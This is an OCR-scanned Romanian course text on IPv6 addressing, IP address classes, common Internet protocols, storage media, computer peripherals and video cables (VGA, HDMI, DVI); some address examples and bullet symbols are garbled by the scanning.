Aceasta notatie este folositd in adresele [IPv6 compatibile IPv4 (vezi mai jos). Forma generala
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este x:x:x:x:x:x:d.d.d.d unde x reprezinta cifre hexazecimale din primele 6 grupuri, iar d
corespunde unei numar zecimal (intre 0 si 255), ca si in adresele IPv4. De exemplu,
::ffff:12.34.56.78 este aceeasi adresa cu ::ffff:0c22:384e si cu 0:0:0:0:0:ffff:0c22:384e. Acest
mod de scriere este invechit si nu este folosit decat de unele aplicatii.

Adrese de retea

Adresele de retea IPv6 sunt scrise folosind notatia CIDR. O retea (sau subretea) IPv6 este un
grup continuu de adrese [Pv6 a carui marime trebuie sa fie putere a lui 2; primii biti ai adreselor,
identici pentru toate adresele din retea, formeaza prefixul retelei.

O retea este reprezentatd de prima adresd din retea si de marimea prefixului in biti, separate
de "/". De exemplu, 2001:0db8:1234::/48 este reteaua cu adresele
2001:0db8:1234:0000:0000:0000:0000:0000 pana la 2001:0db8: 1234 ffff: fff: ffff: frff: fff

Deoarece un calculator poate fi vazut ca o retea cu prefixul 128, adresele sunt cateodata
urmate de /128.

Adrese publice

+«+ Adresele unicast IPv6 folosite pentru adresarea pe Internet trebuie sa aiba prefixul 2000::/3,
adicd sunt cuprinse Intre 2000:: si 3fff: T fff: ff: £ £ 11 Y

¢ Adrese multicast reprezinta modalitatea prin care un echipament poate trimite un mesaj catre
un grup de echipamente ce se afla fie in reteaua locala, fie in alte retele. Spre deosebire de
broadcast, multicast nu este suportat de toate echipamentele (in special de cele mai vechi) si
depinde foarte mult de modul in care sunt configurate routerele ce fac legatura intre retele.

Deoarece mesajele multicast au o sursa si un numar nedefinit de destinatii este necesar sa se

foloseasca la nivelul transport un protocol ce nu contine conexiuni. Ca si in cazul broadcast,

multicast foloseste protocolul UDP cu toate avantajele si dezavantajele sale. Ca si in cazul

broadcast adresa IP a mesajului broadcast nu este adresa specifica a unui echipament, ci este o

adresa IP ce are o valoare speciala. Concret, este vorba de o adresa IP din clasa D. Adresele IP se

impart pe clase in functie de valoarea octetului cel mai semnificativ, conform tabelului.

Clasa Valoare octet semnificativ Interval adrese IP

A OXXXXXXX 0.0.0.0 - 127.255.255.255
B 10XXXXXX 128.0.0.0 - 191.255.255.255
C 110XXXXX 192.0.0.0 - 223.255.255.255
D 1110XXXX 224.0.0.0 - 239.255.255.255
E 1111XXXX 240.0.0.0 - 255.255.255.255

In rest, trimiterea unui mesaj multicast nu difera cu nimic fata de trimiterea unui mesaj UDP
unicast(catre o singura destinatie). Intern, pe baza clasei adresei IP destinatia, sistemul determina
faptul ca este vorba de un mesaj multicast si determina adresa MAC destinatie folosind
urmatorul algoritm:

- Primii 3 octeti (cei mai semnificativi) ai adresei MAC destinatie au valoarea 01-00-5E

- Ultimii 3 octeti (cei mai putin seminificativi) ai adresei MAC se obtin prin aplicarea mastii 7F-
FF-FF peste ultimii 3 octeti (cei mai putin semnificativi) ai adresei IP destinatie

Adrese private

Asemenea rezervarilor IPv4 pentru adrese private sau retele interne inchise, existd si adrese IPv6
rezervate pentru spatiul privat de adresare. In IPv6, acestea se numesc Adrese Local Unice
(englezd Unique Local Addresses - ULA). RFC 4193 rezerva prefixul fc00::/7 in acest scop,
impartindu-1 in 2 spatii /8 cu politici implicite diferite pentru fiecare spatiu (cfm. [Pv6). Adresele
includ un numar aleator de 40 de biti care minimizeaza riscul unei coliziuni de adrese in cazul
conectdrii a 2 spatii private sau pachetele sunt rutate gresit.
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Proiectele initiale (RFC 3513) foloseau alt bloc de adrese in acest scop (fec0::), denumite si
adrese specifice unei locatii. Din pacate definitia a ceea ce sunt reprezinta locatiile (engleza site)
a ramas neclard si politicile de adresare prost definite creau ambiguitati In algoritmul de rutare.
Blocul respectiv de adrese a fost abandonat si trebuie sa nu mai fie utilizat in sistemele noi.

Adresele ce incep cu fe80: - numite adrese link-local - sunt atribuite in zona local link.
Adresele sunt generate automat de catre nivelul IP al sistemului de operare pentru fiecare
interfata de retea. Aceasta asigurd conectivitate la retea automata si instantanee pentru orice host
IPv6 si semnifica faptul ca mai multe host-uri conectate la un hub sau switch comun au o cale de
comunicare garantatd prin adrese local-link. Aceasta functionalitate este utilizatd extensiv si
invizibil pentru majoritatea utilizatorilor, in nivelele inferioare ale administrarii retelelor IPv6
(Neighbor Discovery Protocol).

Toate prefixele atribuite adreselor private nu sunt rutate pe Internet.

Adrese IPv6 mapate peste 1Pv4

Pentru a permite trecerea fara probleme de la IPv4 la IPv6, au fost imaginate diferite metode de
alocare automata a unor adrese IPv6 plecand de la adrese IPv4:

s ffff:0:0/96 — acest prefix este folosit pentru adrese IPv4 mapate.

¢+ 2001::/32 — folosit pentru Tunelare Teredo.

s 2002::/16 — folosit pentru adresare 6to4.

In plus, mai exista si prefixul ::/96 (adresa cu primii 96 de biti 0). Adresele din acest spatiu erau
cunoscute initial ca ,,adrese compatibile IPV4" si aveau ultimii 32 de biti egali cu adresa IPv4 a
gazdei. IETF a declarat aceast bloc de adrese depasit prin publicarea RFC 4291. Singura utilizare
a acestui prefix ramane reprezentarea unor adrese IPv4 si Pv6 intr-un acelasi tabel sau baza de
date cu coloane de dimensiune fixa.

8.3 Protocoale de retea. Configurarea protocoalelor de retea.

In Internet se folosesc protocoale care fie se bazeazi pe TCP/IP, fie utilizeazi protocolul TCP/IP.
Vom prezenta in continuare cele mai folosite protocoale utilizate n mediul Internet.

Protocolul ARP — protocol de rezolutie a adresei

Pentru ca doud sisteme de calcul sd poatd comunica intr-o retea este necesara cunoasterea atat a
adresei MAC, cat si a adresei IP. In cazul in care numai una dintre adrese este disponibild se
apeleaza la un protocol dedicat care pe baza acesteia va determina cealaltd adresa.

Stiva de protocoale TCP/IP contine doud protocoale de nivel retea pentru a servi acest scop:
ARP (Address Resolution Protocol) si RARP (Reverse Address Resolution Protocol). ARP este
protocolul ce va oferi adresa MAC a unui dispozitiv de retea, data fiind adresa sa IP. ARP se
bazeaza pe construirea si mentinerea unei tabele ARP. O tabela ARP are rolul de a oferi o
corespondentd intre adresele IP si cele MAC. Acestea sunt construite dinamic i sunt stocate in
memoria RAM. Desi exista mecanisme pentru adaugarea sau eliminarea unei intrari intr-o tabeld
ARP acestea sunt rareori folosite. Fiecare computer sau dispozitiv de retea isi pastreaza propria
sa tabeld ARP.

Protocolul ICMP — protocolul mesajelor de control

Arhitectura internetului implicd o serie de probleme atunci cand o masind anume nu
functioneaza. Daca functioneaza, totul e bine. Daca nu, intervine ICMP: Internet Control
Message Protocol.

ICMP este protocolul responsabil cu determinarea eventualelor probleme datorate "caderii"
unei masini. Nu-i asa ca ati folosit comanda ping? Asa trimiteti un pachet. Tinta va rdspunde - in
cazul in care va primi pachetul. Daca totul e in ordine, rezultatul este un pachet identic. Daca nu,
veti primi un pachet ICMP. Acesta contine, in header-ul sdu, informatiile de care are nevoie
pentru a determina o eventuala problema.
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Protocolul ICMP este unul de mare importanta, in primul rand pentru administratori. Ei isi pot
da seama daca cineva a scos din uz o magind in mod intentionat - spre exemplu dacd o masina
functioneaza perfect, dar portul 80 (HTTPD) nu este accesibil, avem un indiciu al unui eventual
atac.

Protocolul DHCP — protocol pentru alocarea dinamica a adreselor IP

in primele zile ale retelelor TCP/IP, administratorii defineau adresa fiecarui dispozitiv intr-un
fisier text sau intr-o caseta de dialog. Din acel moment, adresa ramanea fixata pana cand cineva
o modifica. Problema era ca administratorii, ocazional, atribuiau din gresala adrese contradictorii
altor dispozitive din retea, provocand multe i mari neplaceri. Pentru a rezolva aceasta problema
si pentru a facilita atribuirea adreselor TCP/IP a inventat un serviciu numit Dynamic Host
Configuration Protocol (DHCP).

Serviciile DHCP ruleaza pe un server DHCP, unde controleaza un domeniu de IP, denumite
domeniu de acoperire. Cand dispozitivele se conecteaza la o retea contacteaza serverul DHCP
pentru a obtine o adresa atribuitd pe care sa o poatd folosi. Se spune ca adresele de la un server
DHCP sunt inchiriate clientului care le foloseste, cea ce Inseamna cd raman atribuite unui anumit
dispozitiv pentru un interval de timp Tnainte de a expira si devin disponibile pentru utilizare de
catre un alt dispozitiv. Perioadele de inchiriere sunt de numai cateva zile, dar administratorii de
retea pot folosi orice perioada de timp doresc.

Protocolul HTTP - Hypertext Transfer Protocol

World Wide Web este alcdtuit din documente care folosesc un limbaj de formatare denumit
HTML, abreviere de la Hypertext Markup Language (limbaj de marcare prin hipertext). Aceste
documente sunt compuse din text de afisat, imagini grafice, comenzi de formatare si
hiperlegaturi spre alte documente situate altundeva in Web. Documentele HTML sunt afisate cel
mai frecvent folosind browsere Web, precum Internet Explorer, Safari sau Mozilla Firefox.

Un protocol denumit Hypertext Transfer Protocol (protocol de transfer prin hipertext)
controleaza tranzactiile dintre un client Web si un server Web. HTTP este un protocol destinat
stratului aplicatie. Protocolul HTTP face uz in mod transparent de DNS si de alte protocoale
Internet pentru a forma conexiuni intre clientul si serverul Web astfel incat utilizatorul cunoagte
numai numele domeniului si numele documentului Tnsusi.

HTTP este, in esentd, un protocol nesigur. Informatiile pe suport text sunt transmise ,,in clar",
intre client si server. Pentru a satisface necesitatea unor retele Web sigure existd alternative
precum Secure HTTP (S-HTTP) sau Secure Sockets Layer (SSL).

Cererile unui client Web catre un server Web sunt orientate spre conexiune, deci sunt
persistente. Odata ce clientul a primit continutul unei pagini HTML, conexiunea nu mai este
activa. Executarea unui clic in documentul HTML reactiveaza legatura fie citre serverul original
(daca intr-acolo indica hiperlegatura), fie catre un alt server, situat altundeva.

Protocolul FTP — protocol pentru transferul fisierelor
Abrevierea FTP simbolizeaza doud lucruri: File Transfer Protocol (protocol de transfer al
fisierelor) si File Transfer Program (program de transfer al fisierelor).

FTP este un protocol de nivel aplicatie folosit pentru trimiterea si receptionarea figierelor intre
un client FTP si un server FTP. De reguld, aceasta se realizeaza cu programul FTP sau cu un alt
program care poate de asemenea folosi protocolul. Transferurile FTP pot fi bazate pe text sau
sunt binare si pot manipula fisiere de orice dimensiune. Cand vd conectati la un server FTP
pentru a transfera un fisier, va conectati la serverul FTP folosind un nume de utilizator si o
parold valabile. Totusi, multe site-uri sunt configurate sd permita ceea ce se numeste FTP
anonim, cand se introduce numele de utilizator anonymous si apoi introduceti si adresa
dumneavoastra de e-mail ca parola.
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Protocolul Telnet — protocol pentru stabilirea de conexiuni la distanta

Telnet defineste un protocol care permite stabilirea unei sesiuni terminal de la distanta la o gazda
din Internet, astfel ca utilizatorii de la distanta sa aiba acces ca si cum ar sta la un terminal
conectat direct la calculatorul gazda. Folosind Telnet, utilizatorii pot controla sistemul gazda
aflat la distanta, executdnd operatii precum gestiunea fisierelor, rularea aplicatiilor sau chiar (cu
permisiuni corespunzatoare) administrarea sistemui aflat la distanta.

Protocolul SMTP — protocol simplu de transfer de posta

Posta electronica a avut un inceput cam nesigur pe Internet; primele programe de e-mail partajau
putine standarde cu alte programe de e-mail, mai ales in ceea ce priveste manipularea datelor
binare atasate. In ziua de azi, toate programele curente de e-mail recunosc toate standardele
acceptate pe scara larga.

Simple Mail Transfer Protocol (SMTP) este folosit pentru trimiterea si receptionarea
mesajelor de e-mail de la un server e-mail la celalalt. Detalii despre SMTP se pot gasi in RFC
821. Protocolul SMTP defineste un dialog intre un sistem emitator si unul receptor. Un dialog
SMTP incepe cand un sistem emitator se conecteaza la portul 25 al unui sistem receptor. Dupa
stabilirea conexiunii, sistemul emitator trimite o comanda HELO, urmata de adresa sa. Sistemul
receptor confirma comanda HELO, aldturi de adresa sa proprie. Apoi, dialogul continua;
sistemul emitator trimite o comanda prin care se aratd ca sistemul doreste sa trimitd un mesaj si
se indicad destinatarul caruia 1i este destinat mesajul. Dacd sistemul receptor cunoaste
destinatarul, confirma cererea si apoi sistemul emitator transmite corpul mesajului, alaturi de
eventualele fisiere atasate. In final, conexiunea dintre cele doui sisteme este incheiatd odati ce
sistemul receptor confirma receptionarea intregului mesaj.

Protocolul POP3 — protocol de posta electronica

Post Office Protocol, pe scurt, POP, este primul protocol de posta electronica si inca este folosit
in zilele noastre. Pentru utilizatorii ce folosesc sisteme care fie nu sunt capabile si ruleze un
server complet de tipul Simple Mail Transfer Protocol (SMTP) fie nu sunt conectate
perma—nent, este utilizatd o masind de tip ,,Post Office". Aceastd masind Post Office este
conectata permanent la Internet si primeste e-mail-urile destinate utilizatorului prin SMTP.
Mesajele sunt trimise Intr-o cdsuta electronica de pe masina Post Office ca si cum ar fi fost
masina folosita de utilizator din modelul vechi. Candva, mai tarziu, utilizatorul se conecteaza de
pe statia de pe care opereaza cu ajutorul unui client de e-mail la serverul POP existent pe masina
Post Office si face transferul mesajelor care asteapta pe statie. Din acest moment, utilizatorul 1si
poate citi sau procesa dupa cum doreste mesajele in statia locala. Acest sistem foarte simplu a
servit i serveste foarte bine utilizatorii de ceva timp incoace.

Protocolul IMAP — protocol interactiv de posta electronica

Internet Message Access Protocol, pe scurt, IMAP, a fost proiectat pentru a depasi cateva dintre
limitarile protocolului POP. In loc si transfere toate mesajele pe statia clientului, IMAP retine
aceste mesaje pe server. Metoda folosita de POP este denumita cateodata ,,offline" deoarece,
dupa ce v-ati transferat mesajele, teoretic, puteti sa va deconectati in timp ce va cititi e-mail-ul.
Metoda principald folositd de catre IMAP este considerata a fi ,,online" deoarece presupune
conectarea pe toatd perioada cat va cititi mesajele. Atunci cand va conectati la un server IMAP,
initial doar anteturile noilor mesaje sunt descarcate in clientul de e-mail pentru vizualizare si in
momentul selectarii unui mesaj este descarcat si continutul acestuia. La final, sunt trimise inapoi
la server mesaje pentru setarea unor flaguri ce determina starea mesajelor (citit / necitit).
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9. Instalarea si configurarea echipamentelor periferice.

Obiective:

1. Studierea unitatilor externe de stocare a datelor pe:
- Discuri magnetice, optice;
- Cartele de magnetice de memorie solida, inteligente;
2. Distingerea dispozitivelor de introducere/extragere a datelor;

9.1 Unitati externe de stocare a datelor

La sfarsitul anilor 1940, designerii primelor calculatoare au recurs la tehnologia de
inregistrare a informatiilor audio analogice folosing magnetismul dezvoltate pana in acel
moment pentru a asigura un mediu de stocare/recuperare a datelor digitale. Conceptul din spatele
tehnologiei a fost prezentat de Oberlin Smith in 1878, cand a fost depus un brevet, si mediatizat
10 ani mai tarziu.

Cu toate acestea, abia in 1898 inventatorul danez Valdemar Poulsen a prezentat prima
inregistrare magneticd functionald. Dispozitivul lui Poulsen inregistra semnalul pe un fir
infasurat in jurul unui tambur. Primele dispozitive de stocare magnetice au fost concepute pentru
a Inregistra semnal audio analogic. Calculatoarele, precum si majoritatea dispozitivelor de
Stocare magnetice audio si video din generatia actuald pastreaza informatia in format digital.

Pentru calculatoarele vechi, stocarea magnetica era utilizatd ca memorie principald. Spre
deosebire de calculatoarele moderne, banda magnetica era utilizatd si pentru memoria secundara.

Stocarea magnetica se refera la stocarea datelor pe un mediu magnetizat. Toate dispozitivele
de stocare magnetica citesc si scriu datele folosind electromagnetismul si reprezinta o forma de
memorie non-volatild. Informatiile sunt accesate folosind unul sau mai multe capete de
citire/scriere.

Dispozitive de stocare magnetice analogice

Inregistrarea analogici se bazeazi pe faptul ci magnetizarea remanenti a unui material dat
depinde de amplitudinea campului aplicat. In mod normal, materialul magnetic este in forma de
banda, cu banda neinregistrata fiind initial demagnetizata. Cand se inregistreaza, banda se Invarte
cu o vitezd constantd. Capul de scriere magnetizeazd banda cu un curent proportional cu
semnalul. Magnetizarea este distribuitd de-a lungul intregii benzi. In cele din urma, distributia
magnetizarii poate fi cititd, reproducind semnalul original. Banda magnetica este de obicei
realizata prin inglobarea particulelor magnetice intr-un liant de plastic pe peliculda de poliester.
Particulele magnetice cel mai frecvent folosite sunt particulele de oxid de fier sau oxid de crom
si particule de metal cu dimensiuni de 0,5 micrometri. In ultimii 20 de ani, banda magnetica a
fost treptat inlocuita cu inregistrarile digitale.

Caseta audio Caseta video
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Dispozitive de stocare magneto-optice

Un dispozitiv optic de stocare a datelor, numit si disc optic, este un dispozitiv care stocheaza

informatia pe suprafata unui disc si citeste aceasta informatie prin iluminarea suprafetei cu un

laser si observarea reflexiei. Tot ,,disc optic” este numit si discul propriu-zis purtator de date.
Clasificarea discurilor optice dupa caracteristicile Inregistrarilor:

¢ Discuri cu informatii permanente, produse in fabrica (read only media, ROM),

% Discuri ce pot fi inregistrate la utilizator doar o singura data (write once media, writeable),

¢+ Discuri ce pot fi inregistrate de mai multe ori (re-write media, re-writeable).
In prezent sunt folosite urmatoarele tipuri de discuri optice:

s CD, CD-ROM, DVD, BD-ROM - de tipul read only, folosite pentru distributia in masa a
informatiei digitale (muzica, filme, programe pentru PC);

s CD-R, DVD-R, DVD+R, BD-R — de tipul write once, folosite pentru stocarea informatiei,

< CD-RW, DVD-RW, DVD+RW, DVD-RAM, BD-RE - dispozitive de stocare ce se scriu
foarte incet, dar se citesc foarte repede, folosite pentru stocarea informatiet,

¢ Ultra Density Optical sau UDO are o capacitate de stocare similard cu BD-R sau BD-RE si
este un dispozitiv ce se scrie Incet, se citeste repede si este folosit pentru stocarea informatiei.

Exista si dispozitivele de stocare magneto-optice. Acestea sunt discuri optice care stocheaza

informatia prin magnetizarea suprafatei lor feromagnetice. Inregistrarea se efectueazi prin

combinarea metodelor magnetice si optice, iar citirea se face optic. Aceste dispozitive stocheaza

informatia in mod nevolatil, cu acces secvential, cu proces de scriere lent dar cu citire rapida.

Dispozitivele de stocare magneto-optice (MO) sunt dispozitive de stocare a datelor pe un
purtator de date special, folosind efecte magnetice si optice. Se utilizeazd in special pentru
copiile de siguranta (in engleza: backup) ale fisierelor de calculator. Aceste dispozitive pot stoca
cantitati relativ mari de date. Un disc magneto-optic are un aspect similar cu o discheta
magnetica de 3,5 toli (aproximativ 90 mm) si o dimensiune putin mai mare decat aceasta.

Spre deosebire de dischete, care puteau stoca pana la 2,88 MB, un disc magneto-optic poate
stoca o cantitate mult mai mare de date, variind de la 100 MB pani la cativa GB. In ceea ce
priveste viteza de acces la date, discurile MO sunt mai rapide decat dischetele, dar mai lente
decat unitatile de disc dur.

Produsele ce folosesc tehnologii de inregistrare magneto-optice au fost lansate spre
comercializare incd din anul 1989, producdtorii principali fiind: Fujitsu, Sony, Konica si
Olympus. Aceste dispozitive sunt inca populare in unele tari precum Japonia, in timp ce in
Europa si in Statele Unite nu mai sunt utilizate.

Dispozitivele de inregistrare magneto-optice scriu si citesc datele optic. La scriere, mediul
magnetic este incdlzit local de un laser, care induce o crestere rapida a campului coercitiv. Apoi,
un camp magnetic de amplitudine micd poate fi folosit pentru a schimba magnetizarea. Procesul
de citire se bazeaza pe efectul Kerr magneto-optic.
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Disc magneto-optic de 130 mm, 2.6 GB. Disc magneto-optic Fujitsu 90 mm, 230 MB.
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Dispozitive de stocare magnetice digitale

In locul credrii unei distributii magnetice in cazul inregistririi analogice, inregistrarea digitala are
nevoie doar de doua stari magnetice, care sunt +Ms si —Ms de pe bucla de histerezis. Exemple de
medii de stocare magnetice digitale sunt dishchetele si HDD-urile...

9.2 Dispozitive de introducere/extragere a datelor

Dispotzitivele periferice de intrare au rolul de a permite introducerea datelor in calculator.

1. Tastatura unui calculator este asemanatoare cu cea a unei masini de scris obisnuite si are
rolul de a permite introducerea datelor 1n calculator prin apdsarea tastelor. Contine trei categorii
mari de taste:

a)

b)

d)

Tastele alfanumerice — contin: taste alfabetice (A-Z), numerice (0-9) si tastele cu

caractere speciale (“.”, “,”, “/” etc.). Pentru a obtine litera mare se tasteaza Shift si litera

mica in acelasi timp sau se blocheaza tasta speciald Caps Lock (se aprinde ledul

corespunzator). Caracterele speciale scrise pe tastele numerice se obtin in acelasi mod ca

literele mari(Shift + tasta). Caracterele numerice se mai pot obtine prin utilizarea

tastaturii numerice aflate in partea dreaptd avand grija sa fie actionata tasta speciald Num

Lock (se aprinde ledul corespunzator).

Tastele functionale — sunt dispuse pe primul rand al tastaturii, au scris pe ele F1...F12 si

au diferite functii In diferite produse soft.

Tastele speciale — sunt folosite, in general pentru:

- Esc (Escape) — intreruperea unei actiuni,

- Tab — saltul la urmatoarea zona;

- Ctrl (Control) si Alt — sunt utilizate in combinatie cu alte taste pentru obtinerea
diferitor efecte (Ex.: Ctrl+Alt+Del = reseteaza calculatorul);

- Caps Lock — blocarea tastaturii alfabetice pe litere mari (Capitals);

- Backspace — stergerea caracterului aflat inaintea pozitiei curente a cursorului;

- Enter — incheierea mesajului dat calculatorului;

- Print Screen — preluarea imaginii ecranului;

- Scroll Lock — oprirea defilarii ecranului;

- Pause — oprirea/pornirea executiei unui program;

- Num Lock — utilizarea tastaturii numerice ca atare (led aprins) sau ca tastatura
speciala(led stins);

Tastele speciale de navigare:

- Insert — mod de suprascriere;

- Delete — stergerea caracterului pe care se gaseste cursorul;

- Home — muta cursorul la inceputul randului;

- End - muta cursorul la sfarsitul randului;

- PageUp - muta cursorul la inceputul paginii anterioare;

- PageDown - muta cursorul la inceputul paginii urmatoare.
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2. Mouse-ul — este dispozitivul ce controleaza miscarea cursorului pe ecranul monitorului si
permite selectarea sau activarea unor obiecte de pe ecran prin actionarea unor butoane. In general
mouse-ul este format din: carcasa, bila, butoane si circuite electrice.

Clasificarea acestor dispozitive se poate face in functie de:

% numarul de butoane —de la 2 la 5 sau mai multe;

+¢ tipul portului prin care se conecteaza — serial sau paralel,

+«+ compatibilitate: Microsoft, Genius, Logintech etc.;

¢ tehnologia folosita 1n transmiterea semnalului: mecanic, optic, radio.

3. Trackball — dispozitiv de indicare asemanator mouse-ului. Practic este un mouse rasturnat
utilizat in special la calculatoarele portabile. Miscarea cursorului se realizeaza prin rotatia bilei.

4. Creion optic (light pen) — un dispozitiv asemanator unui creion ce are in varf un senzor optic.

5. Tableta grafica (graphics tablet) — dispozitiv ce permite introducerea facila a desenelor si
schitelor. Este alcatuitd dintr-un creion cu varf electronic si o placuta electronica, capabila sa
detecteze miscarile creionului si sa le transmita calculatorului.

6. Scanner — dispozitiv ce permite digitizarea imaginilor si introducerea lor in

calculator. In functie de modul de utilizare si dimensiune sunt:

¢ fixe — imaginea e plasata pe o suprafata de scanare (ca la xerox);

%+ mobile — de dimensiuni mici si se deplaseaza pe imaginea ce urmeaza a fi digitizata (cititorul
de coduri de bare).

7. Joystick si microfon
8. Camera video, aparat de fotografiat digital

9. GIS (Georaphic Information System) — permite introducerea de date geografice
preluate, in general, de la sateliti.

>

MOUSE TRACKBALL

CREION OPTIC TABLETA GRAFICA SCANER
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Disporzitivele periferice de iesire au rolul de a permite extragerea datelor din calculator, care
pot prezenta rezultatele intr-o forma inteligibild, pe suport de hdrtie sau acustic, agreatd de
beneficiar.

1. Monitor (numit si VDU - Video Display Unit) - este dispozitivul standard de iesire.
Constructiv, exista monitor:

cu tub catodic - cel mai folosit tip de monitor, desi ocupa mult spatiu. Imaginea se formeaza

similar cu aceea de pe ecranul televizorului, si anume pe suprafata unui tub cu raze catodice.

cu cristale lichide (LCD - Liquid Crystal Display) - au ecrane ce utilizeaza doua straturi de

material polarizat, cu o solutie de cristale lichide intre ele care, la trecerea unui curent

electric, se aseaza astfel incat sd opreasca trecerea luminii. Calitatea unui monitor este

determinata de:

marime - dimensiunea diagonalei, masurata in toii (1 tol = 2,54 cm);

rezolutie - masuratd in pixeli(puncte de imagine); cu cat rezolutia este mai mare, cu atat

creste calitatea,;

frecventa - masuratd in Hertz, aratd de cate ori pe secunda se genereaza pe ecran o noud

imagine, deci o rezolutie crescuta inseamna o calitate crescuta;

aspectul ergonomic - se refera la calitatea de radiatii emise de catre calculator, cunoscandu-

se faptul ca lucrul timp indelungat la calculator provoaca disconfort ocular.

2. Display screen (ecran de afisare) - reprezintd ecranul de afisare al unui monitor, propriu-
zis; cele mai multe functioneaza folosind un tub catodic.

3. Imprimanta - dispozitiv care afiseaza pe hartie texte sau ilustratii, In functie de
tehnologia de tiparire utilizata, imprimantele pot fi:

Cu pini sau matriciale - crearea caracterelor se face din aldturarea unor puncte separate,

obtinute prin lovirea pinilor (ace mici) cu o banda tusata. Este necesara o hartie speciala, este

ieftind, deosebit de zgomotoasa si pe cale de disparitie,
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cu jet de cerneala - caracterele sunt formate din puncte obtinute prin stropire cu cerneald prin
duze speciale. Se foloseste hartie de scris normald, are cost mediu si este mai putin
zgomotoasa. Calitatea imaginii depinde, in afard de calitatea hartiei, de rezolutie (numar de
puncte pe inch, masuratd in dpi=dots per inch), viteza de lucru (in pagini/minut) si de
capacitatea de colorare;

laser - foloseste aceeasi tehnologie ca si copiatoarele: pentru imprimare utilizeaza toner si
hartie norme/a. Executa cele mai bune lucrari, dar datorita pretului destul de ridicat (mai ales
cele color), sunt mai putin folosite.

Exista diferite caracteristici ale imprimantelor. Cele mai importante sunt:

Calitatea imprimarii sau rezolutia imprimantei, exprimata prin numarul de puncte tiparite pe
un inch;

Viteza - exprimatd prin numarul de caractere tiparite pe secundd sau numarul de pagini
tiparite pe minut;

Modalitatea de alimentare cu hartie;

Zgomotul din momentul tiparirii, se masoara in decibeli.

4. Plotter-ul (trasatorul) - dispozitiv special pentru trasarea pe hartie a unor planuri si
desene tehnice, in functie de comenzile unui calculator, folosind o penita.

5. Boxe (difuzoarele) - sunt folosite ca dispozitive de iesire pentru sunet. Sunt legate la
placa de sunet.

Imprimanta

Plotter Boxe
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10. Conectori si cabluri destinate conectarii echipamentelor

periferice. Proceduri de conectare a echipamentelor periferice.

Obiective:

1. Specificarea procedurilor de conectare a echipamentelor periferice;
2. Insusirea programelor de configurare initiald a calculatorului;

3. Insusirea procedurilor de conectare a echipamentelor periferice;

10.1 Cabluri. Splittere. Adaptoare. Convectori.

A. Cabluri

VGA (Video Graphics Array/Adaptor) intrare pentru semnal analog, standard relativ invechit
care a inceput sa dispara din dotarea monitoarelor moderne. Nu constituie un must have, daca
placa video nu dispune de asa ceva. Il veti mai gasi in general pe monitoarele budget, foarte rar
pe monitoarele mid range sau top. Semnalul analog se poate converti in semnal digital pentru o
calitate decenta timpurilor actuale, insa pretul convertorilor de semnal e relativ ridicat si dupa
parerea mea nu merita. Despre acestea vom vorbi ceva mai incolo. Mai degraba cumparati-va din
start placa video cu iesire digitala si desigur si monitor cu acest tip de intrare. Daca totusi optati
pentru acest tip de conectare, cablul VGA nu trebuie sa aiba mai mult de 40m lungime. Ca
regula generala semnalul analog are o calitate mai scazuta decit cel digital si daca sunteti curiosi
sa folositi aceleasi formate multimedia puteti observa acest lucru in caz ca aveti rabdare sa le
comparati.

HDMI (High Definition Multimedia Interface) intrare semnal digital multimedia adica imagine
si sunet. Adica mai pe intelesul oricui un cablu HDMI e un cablu DVI impreuna cu un cablu
audio, daca vrei HDMI=DVI+Audio. Nu e necesar decit daca aveti monitorul cu boxe integrate
si nu mai vreti sa folositi un cablu separat de sunet, iar placa video e prevazuta si ea cu HDMI.
Datorita diversificarii dispozitivelor multimedia acest format s-a impus tot mai mult, pentru
monitoarele mid range fiind ceva obisnuit. El se prezinta in mai multe formate HDMI
standardizate de la A pina la E mai folosite fiind doar 3 cunoscute ca: normal (A), mini-HDMI
(C) si micro-HDMI (D).

Pe monitoare veti intilni doar formatul normal si foarte rar mini-HDMI, insa pot exista cabluri
pentru conectarea pe MHL (Mobile High-Definition Link), daca monitorul e prevazut cu asa ceva
(si multe din modelele de monitoare multimedia recente sunt prevazute) a diverselor dispozitive
mobile (smartphone, tableta, etc) ce folosesc si formatul micro-HDMI. Principala caracteristica
pe care trebuie sa 0 avem in vedere e versiunea pentru ca de la o versiune la alta a crescut
latimea benzii de semnal ce poate fi transmis. Exista inca in piata versiunea 1.3 (desi nu e
specificat...) pe care nu o recomand pentru cei ce au in vedere formate un HD si UHD, sau 3D,
pentru aceste fisiere fiind necesara versiunea 1.4 (de preferat varianta 1.4b, dar si varianta 1.4a e
ok).

In septembrie 2013 s-a lansat pe piata si versiunea HDMI 2.0 ce pemite cresterea cantitatii de
date de la >8,16 Ghit/s la cca. 14,4Gbit/s. Pot fi cumparate in lungimi de pina la 20m cu rezultate
bune si fara pierderi ale calitatii semnalului. Aceasta distanta poate fi marita in conditiile in care
materialele folosite sunt de calitate superioara insa pretul acestora este destul de ridicat. In
general cablurile HDMI sunt tributare unei calitati relativ ridicate a executiei pentru a transmite
un semnal de calitate.

DVI (Digital Visual Interface) intrare semnal digital, reprezinta standardul actual pentru intrare

imagine si totodata si cel mai folosit. Acest conector reprezinta unmust have pentru un monitor
decent. Exista insa o problema de care trebuie sa tineti cont, standardul DV are mai multe tipuri
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de conectori functie de cantitatea de date ce trebuie traficata si tipul de semnal ce poate fi folosit.
Exista conectori ce permit si semnal analog pe linga cel digital, DVI-1 in ambele avarinate single
link sau pentru dual link, dupa cum exista conectori ce permit doar semnal digital (dealtfel si cei
mai folosititi), DVI-D, la fel in ambele variante, single si dual link. Mai exista varianta DVI-A
doar pentru semnal analog, dar este extrem de rar folosita si nu o veti gasi pe monitoare.

Problema cu acestia este ca nu sunt compatibili constructiv in totalitate, din motive evidente,
lar in cind avem o placa video mai veche sau un monitor mai vechi e bine sa verificam, pentru ca
un cablu DVI-D va intra intr-un conector DVI-I, pe cind reciproca nu e valabila, un cablu DVI-I
nefiind compatibil cu un conector DVI-D, decit daca ii extrageti (taiati, rupeti) pinii ce sigura
transmiterea semnalului analog, desi nu recomad acest sport daca tineti la monitorul vostru. Deci
functie de mufele pe care le aveti pe placa video sau placa de baza (pentru placile video
integrate) si mufa de pe monitor va trebui sa alegeti un cablu DVI sau un adaptor potrivit. In
general folosirea cablurilor DVI dual link e necesara pentru statiile grafice unde e necesar trafic
de cantitati mari de date >7,92Gbit/s fata de single link care pot duce doar >3,96Ghit/s. Se pot
cumpara cu rezultate bune pina la lungimi de maximum 5 m, dupa care e necesara amplificarea
semnalului pentru a se mentine calitatea.

Display Port, ultima versiune de interfata digitala pentru imagine. Destinata sa inlocuiasca
standardul DVI. Are functionalitati similare cu HDMI. Este intilnit in general pe modelele mai
